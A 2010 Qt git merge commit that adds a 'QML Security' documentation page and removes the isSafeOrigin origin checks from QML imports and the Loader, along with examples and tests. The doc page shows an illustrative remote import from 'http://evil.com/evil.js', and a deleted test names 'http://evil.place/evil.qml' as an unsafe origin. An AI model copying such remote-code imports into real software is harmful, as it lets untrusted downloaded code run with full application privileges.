diff options
author | Aaron Kennedy <aaron.kennedy@nokia.com> | 2010-03-24 05:47:31 (GMT) |
---|---|---|
committer | Aaron Kennedy <aaron.kennedy@nokia.com> | 2010-03-24 05:47:31 (GMT) |
commit | d873e2c8a3c17c6404e0378340b25bdb615f12c6 (patch) | |
tree | 0775dae3ceee580bddb5d8e1487825a33eff9a68 | |
parent | d19de14f84e9fca8bb709039d5d0331e6ddfe485 (diff) | |
parent | 7e0711bd85d28204c1405928cfc68a2fd76f3d13 (diff) | |
download | Qt-d873e2c8a3c17c6404e0378340b25bdb615f12c6.zip Qt-d873e2c8a3c17c6404e0378340b25bdb615f12c6.tar.gz Qt-d873e2c8a3c17c6404e0378340b25bdb615f12c6.tar.bz2 |
Merge branch '4.7' of scm.dev.nokia.troll.no:qt/qt-qml into 4.7
-rw-r--r-- | doc/src/declarative/declarativeui.qdoc | 1 | ||||
-rw-r--r-- | doc/src/declarative/qdeclarativesecurity.qdoc | 90 | ||||
-rw-r--r-- | examples/declarative/webview/evalandattach.html | 31 | ||||
-rw-r--r-- | examples/declarative/webview/evalandattach.qml | 55 | ||||
-rw-r--r-- | examples/declarative/webview/qdeclarative-in-html.qml | 33 | ||||
-rw-r--r-- | src/declarative/graphicsitems/qdeclarativeloader.cpp | 5 | ||||
-rw-r--r-- | src/declarative/qml/qdeclarativecompositetypemanager.cpp | 13 | ||||
-rw-r--r-- | src/declarative/qml/qdeclarativecontext.cpp | 6 | ||||
-rw-r--r-- | src/declarative/qml/qdeclarativecontext.h | 2 | ||||
-rw-r--r-- | src/declarative/qml/qdeclarativeengine.cpp | 27 | ||||
-rw-r--r-- | src/declarative/qml/qdeclarativeengine.h | 2 | ||||
-rw-r--r-- | src/imports/webkit/qdeclarativewebview.cpp | 87 | ||||
-rw-r--r-- | src/imports/webkit/qdeclarativewebview_p.h | 1 | ||||
-rw-r--r-- | tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 43 | ||||
-rw-r--r-- | tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 37 |
15 files changed, 92 insertions, 341 deletions
diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ca4c5da..cc61c01 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -102,6 +102,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {QML Global Object} \o \l {Extending QML in C++} \o \l {QML Internationalization} +\o \l {QML Security} \o \l {QtDeclarative Module} \o \l {Debugging QML} \endlist diff --git a/doc/src/declarative/qdeclarativesecurity.qdoc b/doc/src/declarative/qdeclarativesecurity.qdoc new file mode 100644 index 0000000..56216dd --- /dev/null +++ b/doc/src/declarative/qdeclarativesecurity.qdoc @@ -0,0 +1,90 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qdeclarativesecurity.html +\title QML Security +\section1 QML Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, developers producing QML content should not execute +arbitrary downloaded JavaScript, nor instantiate arbitrary downloaded QML elements. + +For example, this QML content: + +\qml +import "http://evil.com/evil.js" as Evil +... Evil.doEvil() ... +\endqml + +is equivalent to downloading "http://evil.com/evil.exe" and running it. The JavaScript execution +environment of QML does not try to stop any particular accesses, including local file system +access, just as for any native Qt application, so the "doEvil" function could do the same things +as a native Qt application, a Python application, a Perl script, ec. + +As with any application accessing other content beyond it's control, a QML application should +perform appropriate checks on untrusted data it loads. + +A non-exhaustive list of the ways you could shoot yourself in the foot is: + +\list + \i Using \c import to import QML or JavaScropt you do not control. BAD + \i Using \l Loader to import QML you do not control. BAD + \i Using XMLHttpRequest to load data you do not control and executing it. BAD +\endlist + +However, the above does not mean that you have no use for the network transparency of QML. +There are many good and useful things you \e can do: + +\list + \i Create \l Image elements with source URLs of any online images. GOOD + \i Use XmlListModel to present online content. GOOD + \i Use XMLHttpRequest to interact with online services. GOOD +\endlist + +The only reason this page is necessary at all is that JavaScript, when run in a \e{web browser}, +has quite many restrictions. With QML, you should neither rely on similar restrictions, nor +worry about working around them. +*/ diff --git a/examples/declarative/webview/evalandattach.html b/examples/declarative/webview/evalandattach.html deleted file mode 100644 index 48a1c33..0000000 --- a/examples/declarative/webview/evalandattach.html +++ /dev/null @@ -1,31 +0,0 @@ -<body bgcolor=gray onload="ftext.confirmed.connect (ftext_confirmed); "> - <script> - do_it = function () {var oPressed = document.getElementById('pressed'); - oPressed.innerHTML = 'MouseArea in QML clicked!';}; - ftext_confirmed = function () { statusText1.text = ftext.text; var oT = document.getElementById('htmlTextInput'); oT.value = ftext.text } - </script> - <table border=1> - <tr> - <td> </td> - <td id='pressed'></td> - </tr> - <tr> - <td><label for='htmlTextInput'>Type something:</label></td> - <td><input type='text' name='htmlTextInput' size='25' id='htmlTextInput' - onfocus="statusText2.text = 'Focus in html text input.'"></td> - </tr> - <tr> - <td><label for='htmlButton'> </label></td> - <td> - <input type='button' id='htmlButton' value='Push' - onclick="var oText = document.getElementById('htmlTextInput'); statusText1.text = oText.value; ftext.text = oText.value" /> - </tr> - </table> - <p> - Below a qml(QFxItem) object inside webkit: - </p> - <object data=content/FieldText.qml TYPE=application/x-qt-plugin id="ftext_id" text="" label="Cool:" width="200" - objectname="ftext"> - </object> -</body> - diff --git a/examples/declarative/webview/evalandattach.qml b/examples/declarative/webview/evalandattach.qml deleted file mode 100644 index d219d84..0000000 --- a/examples/declarative/webview/evalandattach.qml +++ /dev/null @@ -1,55 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -Item { - height: 640 - width: 360 - Text { - id: teksti - text: webView.statusText1 - anchors.top: parent.top - height: 30 - anchors.left: parent.left - width: parent.width/2 - } - - Text { - id: teksti2 - text: webView.statusText2 - anchors.top: parent.top - height: 30 - anchors.left: teksti.right - anchors.right: parent.right - } - - MouseArea { - anchors.fill: teksti - onClicked: { webView.evaluateJavaScript ("do_it()") } - } - - WebView { - id: webView - property alias statusText1: txt.text - property alias statusText2: txt2.text - anchors.top: teksti.bottom - anchors.bottom: parent.bottom - anchors.left: parent.left - anchors.right: parent.right - focus: true - settings.pluginsEnabled: true - javaScriptWindowObjects: [ - QtObject { - id: txt - WebView.windowObjectName: "statusText1" - property string text: "Click me!" - }, - QtObject { - id: txt2 - WebView.windowObjectName: "statusText2" - property string text: "" - } - ] - url: "evalandattach.html" - } - -} diff --git a/examples/declarative/webview/qdeclarative-in-html.qml b/examples/declarative/webview/qdeclarative-in-html.qml deleted file mode 100644 index 172ea4b..0000000 --- a/examples/declarative/webview/qdeclarative-in-html.qml +++ /dev/null @@ -1,33 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// The WebView supports QML data through the HTML OBJECT tag -Rectangle { - color:"blue" - Flickable { - width: parent.width - height: parent.height/2 - contentWidth: web.width*web.scale - contentHeight: web.height*web.scale - WebView { - id: web - width: 250 - height: 420 - zoomFactor: 0.75 - smoothCache: true - settings.pluginsEnabled: true - html: "<html>\ - <body bgcolor=white>\ - These are QML plugins, shown in a QML WebView via HTML OBJECT tags, all scaled to 75%\ - and placed in a Flickable area...\ - <table border=1>\ - <tr><th>Duration <th>Color <th>Plugin\ - <tr><td>500 <td>red <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=500 color=red />\ - <tr><td>2000 <td>blue <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=2000 color=blue />\ - <tr><td>1000 <td>green <td><OBJECT data=content/SpinSquare.qml TYPE=application/x-qt-plugin width=100 height=100 period=1000 color=green />\ - </table>\ - </body>\ - </html>" - } - } -} diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index c06b006..0d62afa 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -187,11 +187,6 @@ void QDeclarativeLoader::setSource(const QUrl &url) if (d->source == url) return; - if (!qmlContext(this)->isSafeOrigin(url)) { - qmlInfo(this) << tr("\"%1\" is not a safe origin from \"%2\"").arg(url.toString()).arg(qmlContext(this)->baseUrl().toString()); - return; - } - d->clear(); d->source = url; diff --git a/src/declarative/qml/qdeclarativecompositetypemanager.cpp b/src/declarative/qml/qdeclarativecompositetypemanager.cpp index 5160514..c59e5e2 100644 --- a/src/declarative/qml/qdeclarativecompositetypemanager.cpp +++ b/src/declarative/qml/qdeclarativecompositetypemanager.cpp @@ -539,19 +539,6 @@ int QDeclarativeCompositeTypeManager::resolveTypes(QDeclarativeCompositeTypeData foreach (QDeclarativeScriptParser::Import imp, unit->data.imports()) { - if (imp.type != QDeclarativeScriptParser::Import::Library && !engine->isSafeOrigin(QUrl(imp.uri), unit->imports.baseUrl())) { - QDeclarativeError error; - error.setUrl(unit->imports.baseUrl()); - error.setDescription(tr("\"%1\" is not a safe origin").arg(imp.uri)); - error.setLine(imp.location.start.line); - error.setColumn(imp.location.start.column); - unit->status = QDeclarativeCompositeTypeData::Error; - unit->errorType = QDeclarativeCompositeTypeData::GeneralError; - unit->errors << error; - doComplete(unit); - return 0; - } - QDeclarativeDirComponents qmldircomponentsnetwork; if (imp.type == QDeclarativeScriptParser::Import::Script) continue; diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index 1236923..2b8cf70 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -361,12 +361,6 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const return value; } -bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const -{ - Q_D(const QDeclarativeContext); - return !d->data->engine || d->data->engine->isSafeOrigin(src, baseUrl()); -} - /*! Resolves the URL \a src relative to the URL of the containing component. diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h index 959af8b..a349628 100644 --- a/src/declarative/qml/qdeclarativecontext.h +++ b/src/declarative/qml/qdeclarativecontext.h @@ -85,8 +85,6 @@ public: void setBaseUrl(const QUrl &); QUrl baseUrl() const; - bool isSafeOrigin(const QUrl &src) const; - private: friend class QDeclarativeVME; friend class QDeclarativeEngine; diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index d7f30d7..d4872e2 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1883,33 +1883,6 @@ QString QDeclarativeEngine::offlineStoragePath() const } /*! - Returns whether \a to_url is considered safe content when reference by - content at \a from_url. - - The default implementation implements: - - \list - \i Relative URLs are safe - \i https content is safe - \i URLs from the same host and port are safe (including no-host) - \endlist - - You should consider whether this convention is adequate for your pareticular application. -*/ -bool QDeclarativeEngine::isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const -{ - if (to_url.isRelative()) - return true; - if (to_url.scheme()==QLatin1String("https")) - return true; - - if (to_url.host() == from_url.host() && to_url.port() == from_url.port()) // including files (with no host) - return true; - - return false; -} - -/*! \internal Returns the result of the merge of \a baseName with \a dir, \a suffixes, and \a prefix. diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h index 5c70b18..19e81b6 100644 --- a/src/declarative/qml/qdeclarativeengine.h +++ b/src/declarative/qml/qdeclarativeengine.h @@ -102,8 +102,6 @@ public: static void setObjectOwnership(QObject *, ObjectOwnership); static ObjectOwnership objectOwnership(QObject *); - virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const; - Q_SIGNALS: void quit (); diff --git a/src/imports/webkit/qdeclarativewebview.cpp b/src/imports/webkit/qdeclarativewebview.cpp index f8b2b88..0b85ae4 100644 --- a/src/imports/webkit/qdeclarativewebview.cpp +++ b/src/imports/webkit/qdeclarativewebview.cpp @@ -1239,96 +1239,11 @@ bool QDeclarativeWebPage::javaScriptPrompt(QWebFrame *originatingFrame, const QS } -/* - Qt WebKit does not understand non-QWidget plugins, so dummy widgets - are created, parented to a single dummy tool window. - - The requirements for QML object plugins are input to the Qt WebKit - non-QWidget plugin support, which will obsolete this kludge. -*/ -class QWidget_Dummy_Plugin : public QWidget -{ - Q_OBJECT -public: - static QWidget *dummy_shared_parent() - { - static QWidget *dsp = 0; - if (!dsp) { - dsp = new QWidget(0,Qt::Tool); - dsp->setGeometry(-10000,-10000,0,0); - dsp->show(); - } - return dsp; - } - QWidget_Dummy_Plugin(const QUrl& url, QDeclarativeWebView *view, const QStringList ¶mNames, const QStringList ¶mValues) : - QWidget(dummy_shared_parent()), - propertyNames(paramNames), - propertyValues(paramValues), - webview(view) - { - QDeclarativeEngine *engine = qmlEngine(webview); - component = new QDeclarativeComponent(engine, url, this); - item = 0; - if (component->isLoading()) - connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(qmlLoaded())); - else - qmlLoaded(); - } - -public Q_SLOTS: - void qmlLoaded() - { - if (component->isError()) { - // ### Could instead give these errors to the WebView to handle. - qWarning() << component->errors(); - return; - } - item = qobject_cast<QDeclarativeItem*>(component->create(qmlContext(webview))); - item->setParent(webview); - QString jsObjName; - for (int i=0; i<propertyNames.count(); ++i) { - if (propertyNames[i] != QLatin1String("type") && propertyNames[i] != QLatin1String("data")) { - item->setProperty(propertyNames[i].toUtf8(),propertyValues[i]); - if (propertyNames[i] == QLatin1String("objectname")) - jsObjName = propertyValues[i]; - } - } - if (!jsObjName.isNull()) { - QWebFrame *f = webview->page()->mainFrame(); - f->addToJavaScriptWindowObject(jsObjName, item); - } - resizeEvent(0); - delete component; - component = 0; - } - void resizeEvent(QResizeEvent*) - { - if (item) { - item->setX(x()); - item->setY(y()); - item->setWidth(width()); - item->setHeight(height()); - } - } - -private: - QDeclarativeComponent *component; - QDeclarativeItem *item; - QStringList propertyNames, propertyValues; - QDeclarativeWebView *webview; -}; - QDeclarativeWebView *QDeclarativeWebPage::viewItem() { return static_cast<QDeclarativeWebView*>(parent()); } -QObject *QDeclarativeWebPage::createPlugin(const QString &, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues) -{ - QUrl comp = qmlContext(viewItem())->resolvedUrl(url); - return new QWidget_Dummy_Plugin(comp,viewItem(),paramNames,paramValues); -} - QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) { QDeclarativeWebView *newView = viewItem()->createWindow(type); @@ -1338,5 +1253,3 @@ QWebPage *QDeclarativeWebPage::createWindow(WebWindowType type) } QT_END_NAMESPACE - -#include <qdeclarativewebview.moc> diff --git a/src/imports/webkit/qdeclarativewebview_p.h b/src/imports/webkit/qdeclarativewebview_p.h index 36b18a6..81581d8 100644 --- a/src/imports/webkit/qdeclarativewebview_p.h +++ b/src/imports/webkit/qdeclarativewebview_p.h @@ -69,7 +69,6 @@ public: explicit QDeclarativeWebPage(QDeclarativeWebView *parent); ~QDeclarativeWebPage(); protected: - QObject *createPlugin(const QString &classid, const QUrl &url, const QStringList ¶mNames, const QStringList ¶mValues); QWebPage *createWindow(WebWindowType type); void javaScriptConsoleMessage(const QString& message, int lineNumber, const QString& sourceID); QString chooseFile(QWebFrame *originatingFrame, const QString& oldFile); diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index b6bd3f8..72b6b28 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -53,19 +53,6 @@ #include "../../../shared/util.h" -class SafeLocalhostDeclarativeEngine : public QDeclarativeEngine { -public: - SafeLocalhostDeclarativeEngine() : QDeclarativeEngine() {} - - virtual bool isSafeOrigin(const QUrl& to_url, const QUrl& from_url) const - { - if (to_url.host() == "127.0.0.1") - return true; - else - return QDeclarativeEngine::isSafeOrigin(to_url,from_url); - } -}; - /* This test case covers QML language issues. This covers everything that does not involve evaluating ECMAScript expressions and bindings. @@ -134,7 +121,6 @@ private slots: void importsLocal(); void importsRemote_data(); void importsRemote(); - void importsUnsafe(); void importsInstalled_data(); void importsInstalled(); void importsOrder_data(); @@ -149,7 +135,7 @@ private slots: void crash2(); private: - SafeLocalhostDeclarativeEngine engine; + QDeclarativeEngine engine; void testType(const QString& qml, const QString& type); }; @@ -1276,33 +1262,6 @@ void tst_qdeclarativelanguage::importsRemote() testType(qml,type); } -void tst_qdeclarativelanguage::importsUnsafe() -{ - TestHTTPServer server(14445); - server.serveDirectory(SRCDIR); - - QString qml = "import \"http://127.0.0.1:14445/qtest/declarative/qmllanguage\"\n\nTest {}"; - - { - QDeclarativeEngine engine; // plain engine without special localhost handling - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports - - QTRY_VERIFY(!component.isLoading()); - - QVERIFY(component.isError()); - } - - { - QDeclarativeComponent component(&engine); // engine special localhost handling - component.setData(qml.toUtf8(), TEST_FILE("empty.qml")); // just a file for relative local imports - - QTRY_VERIFY(!component.isLoading()); - - QVERIFY(!component.isError()); - } -} - void tst_qdeclarativelanguage::importsInstalled_data() { // QT-610 diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 506e1ee..c3be943 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -86,8 +86,6 @@ private slots: void noResizeGraphicsWidget(); void networkRequestUrl(); void failNetworkRequest(); - void networkSafety(); - void networkSafety_data(); // void networkComponent(); void deleteComponentCrash(); @@ -508,41 +506,6 @@ void tst_QDeclarativeLoader::vmeErrors() delete loader; } -void tst_QDeclarativeLoader::networkSafety_data() -{ - QTest::addColumn<QUrl>("url"); - QTest::addColumn<QString>("message"); - - QTest::newRow("same origin") << QUrl("http://127.0.0.1:14445/sameorigin.qml") << QString(); - QTest::newRow("different origin") << QUrl("http://127.0.0.1:14445/differentorigin.qml") << QString("QML Loader (http://127.0.0.1:14445/differentorigin.qml:3:1) \"http://evil.place/evil.qml\" is not a safe origin from \"http://127.0.0.1:14445/differentorigin.qml\""); -} - -void tst_QDeclarativeLoader::networkSafety() -{ - TestHTTPServer server(SERVER_PORT); - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - - QFETCH(QUrl, url); - QFETCH(QString, message); - - if (!message.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, message.toLatin1()); - - QDeclarativeComponent component(&engine, url); - TRY_WAIT(component.status() == QDeclarativeComponent::Ready); - QDeclarativeLoader *loader = qobject_cast<QDeclarativeLoader*>(component.create()); - QVERIFY(loader != 0); - - if (message.isEmpty()) { - TRY_WAIT(loader->status() == QDeclarativeLoader::Ready); - } else { - TRY_WAIT(loader->status() == QDeclarativeLoader::Null); - } - - delete loader; -} - QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" |